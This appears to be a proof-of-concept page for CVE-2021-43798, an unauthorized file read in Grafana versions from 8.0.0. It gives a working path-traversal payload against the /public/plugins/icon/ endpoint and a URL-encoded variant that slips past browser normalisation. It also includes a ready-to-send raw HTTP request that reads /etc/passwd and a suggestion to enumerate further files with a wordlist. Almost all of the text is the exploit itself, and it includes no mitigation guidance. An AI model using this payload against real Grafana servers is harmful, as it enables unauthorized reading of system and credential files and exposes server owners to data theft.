Grafana-File-Read

Grafana Unauthorized File Read

Affected versions: 8.0.0-lastest reference: - https://github.com/tangxiaofeng7/Grafana-File-Read

Exploit the Grafana /public/plugins endpoint's lax URL route validation vulnerability to read arbitrary local files from the server.

poc: /public/plugins/icon/../../../../../../../../../../../../../../../../../..{path}

Where {path} is the absolute file path on the server, for example, to read /etc/passwd:

/public/plugins/icon/../../../../../../../../../../../../../../../../../../etc/passwd

Directory traversal can be performed by enumerating {path} via a wordlist.

When submitting directly via a browser, the traversal sequence

../../../../../../../../../../../../../../../../../..

must be URL-encoded as

..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..

to prevent the browser from normalizing it, i.e.:

/public/plugins/icon/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F../etc/passwd

GET /public/plugins/icon/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F../etc/passwd HTTP/1.1
Host: 127.0.0.1:3000
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:90.0) Gecko/20100101 Firefox/90.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

CVE-2021-43798-Grafana-File-Read

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